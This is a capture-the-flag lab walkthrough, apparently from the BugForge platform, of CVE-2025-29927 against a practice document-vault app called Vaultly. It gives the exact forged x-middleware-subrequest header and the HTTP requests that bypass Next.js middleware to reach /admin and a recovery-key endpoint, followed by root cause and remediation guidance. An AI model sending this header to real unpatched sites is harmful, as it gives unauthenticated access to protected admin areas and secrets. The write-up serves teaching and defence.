BugForge - Weekly - Vaultly
Weekly - Vaultly
Vulnerabilities Covered
Summary
This walkthrough demonstrates a Next.js authorization bypass against Vaultly, a document-vault application whose /admin area is guarded entirely by middleware. Next.js uses an internal request header, x-middleware-subrequest, to detect when middleware has re-entered itself and short-circuit to avoid infinite recursion. Because this header is trusted but never stripped from inbound client requests, an unauthenticated attacker can forge it. Supplying the middleware's module path repeated up to the recursion limit, src/middleware:src/middleware:src/middleware:src/middleware:src/middleware, makes Next.js believe it is already inside a middleware subrequest chain and skip middleware execution entirely. With the auth check bypassed, GET /admin returns the internal operations console, which discloses a break-glass endpoint at GET /admin/api/recovery. Re-sending the same forged header to that endpoint returns the org's recovery key: the flag. This is CVE-2025-29927, patched in Next.js 14.2.25 / 15.2.3.
Application Analysis
The target is Vaultly, described as a “secure document vault for teams”. The landing page is a marketing shell with public links to /login, /register and a /health status page. What matters for this challenge is not visible in the navigation: it is in how the response is built.
Fetching the homepage returns server-rendered HTML that fingerprints the framework immediately: assets are served from /_next/static/chunks/..., there is a Next.js buildId, and the page ships the React Server Components streaming payload inline via self.__next_f.push([...]).
GET / HTTP/1.1
Host: lab-1784329435629-krtbh1.labs-app.bugforge.io
That Next.js fingerprint is the whole reason the CVE-2025-29927 hint applies: the vulnerability lives in Next.js middleware, so the first job is to find a route that middleware actually protects.

Finding the Guarded Route
/admin is not linked anywhere public, but it is the conventional location for a middleware-protected surface, so it is worth probing directly. It exists, and it is gated:
GET /admin HTTP/1.1
Host: lab-1784329435629-krtbh1.labs-app.bugforge.io
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Forbidden - Vaultly HQ staff only.
A 403 with a distinct, non-application error string (plain text, not the styled app) is the signature of a middleware check rejecting the request before the page component ever runs. That is exactly the control CVE-2025-29927 defeats.

Understanding CVE-2025-29927
Next.js middleware runs on every matching request and is a common place to enforce authentication and authorization. Internally, middleware can issue its own subrequests, and Next.js guards against a middleware invoking itself endlessly by tagging such internal calls with the x-middleware-subrequest header. When the runtime sees that a request is already part of a middleware subrequest chain, determined by counting how many times the middleware’s own path appears in that header, up to a recursion depth of 5, it skips middleware execution for that request.
The flaw: this header is trusted, but it is an internal signal that is never stripped from inbound client traffic. Any external attacker who sets x-middleware-subrequest to the middleware’s module path, repeated enough times to trip the recursion limit, causes Next.js to bypass middleware altogether, and with it, any auth check that middleware was responsible for.
Crafting the Bypass Header
The exact value depends on where the middleware module lives, which varies by Next.js version and project layout:
pages/_middleware: legacy Pages Router (Next.js 12)middleware: root-level middlewaresrc/middleware: App Router projects with asrc/directory
The value must repeat the path :-separated to reach the recursion depth of 5. The first attempt used the root-level module name and was rejected, so the middleware still ran:
GET /admin HTTP/1.1
Host: lab-1784329435629-krtbh1.labs-app.bugforge.io
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
HTTP/1.1 403 Forbidden
Forbidden - Vaultly HQ staff only.
Vaultly is an App Router project with a src/ layout, so the module resolves to src/middleware. Switching the payload accordingly is what unlocks the bypass in the next step.

Bypassing Middleware on /admin
Repeating src/middleware five times satisfies the recursion check, Next.js skips the middleware, and the request falls through to the page component with no auth enforced:
GET /admin HTTP/1.1
Host: lab-1784329435629-krtbh1.labs-app.bugforge.io
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<title>Vaultly HQ - Operations Console</title>
...
The 403 becomes a 200, and we are looking at the internal Vaultly HQ - Operations Console. The console itself is the next lead: it documents a break-glass recovery flow and points at the endpoint that issues the key.
Recovery keys are issued on demand and never cached in the console UI. Pull the current key from the recovery service when you actually need it:
GET /admin/api/recovery

Retrieving the Flag
The recovery API sits behind the same middleware, so the same forged header bypasses it too. Sending the header to /admin/api/recovery returns the org’s break-glass key inline:
GET /admin/api/recovery HTTP/1.1
Host: lab-1784329435629-krtbh1.labs-app.bugforge.io
Accept: application/json
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
HTTP/1.1 200 OK
Content-Type: application/json
{"org":"Vaultly HQ","note":"Break-glass recovery key - rotate immediately after use.","recovery_key":"bug{ixe4O85jHVSIGP8cdCq4KjPqkKLuxfsb}"}
The recovery_key field is the flag. One forged header turned an unauthenticated outsider into a Vaultly HQ staff member with access to emergency recovery material.

Impact
- Complete authentication/authorization bypass for every route protected only by Next.js middleware: a single forged header defeats the entire gate
- Unauthenticated access to the internal operations console and its administrative tooling
- Disclosure of a break-glass recovery key, which is exactly the kind of secret that grants emergency org-wide access
- The header is trivially attacker-controlled and requires no credentials, session, or prior foothold; it is a pre-auth, one-request exploit
Vulnerability Classification
Next.js Middleware Authorization Bypass
- CVE: CVE-2025-29927
- OWASP Top 10: A01:2021 - Broken Access Control
- Vulnerability Type: Authorization bypass via a trusted internal header that is not stripped from inbound requests
- Attack Surface:
x-middleware-subrequestrequest header on any middleware-protected route (/admin,/admin/api/recovery) - CWE:
- CWE-285 - Improper Authorization
- CWE-290 - Authentication Bypass by Spoofing
- CWE-693 - Protection Mechanism Failure
Root Cause
Next.js uses the x-middleware-subrequest header internally to detect and short-circuit recursive middleware invocations, counting occurrences of the middleware’s module path up to a recursion depth of 5 before skipping middleware execution. This is an internal control-plane signal, but the framework trusts it on requests arriving from the network and never strips it at the boundary. An attacker who knows the middleware’s module path (src/middleware for an App Router src/ layout) can forge the header, satisfy the recursion check, and cause the runtime to skip middleware entirely.
Because Vaultly enforces its /admin authorization inside that middleware, rather than also enforcing it at the page/handler layer, skipping middleware removes the only access control in the request path. The security boundary was collapsed onto a single, spoofable header.
Remediation
- Patch Next.js. The vulnerability is fixed in 14.2.25 and 15.2.3 (and backported to 12.3.5 / 13.5.9). Upgrading is the primary fix.
- Strip the header at the edge. Configure the reverse proxy / CDN / load balancer to remove any inbound
x-middleware-subrequestheader before traffic reaches the application, so it can never be client-controlled. - Do not rely on middleware as the sole authorization layer. Enforce authorization again in the route handler or page (defence in depth) so that bypassing middleware does not bypass access control.
- Treat internal framework headers as untrusted from the network. Any header the framework uses for internal signalling must be sanitised at the trust boundary.
- Rotate the exposed recovery key and audit access to
/adminand/admin/api/recoveryfor prior exploitation.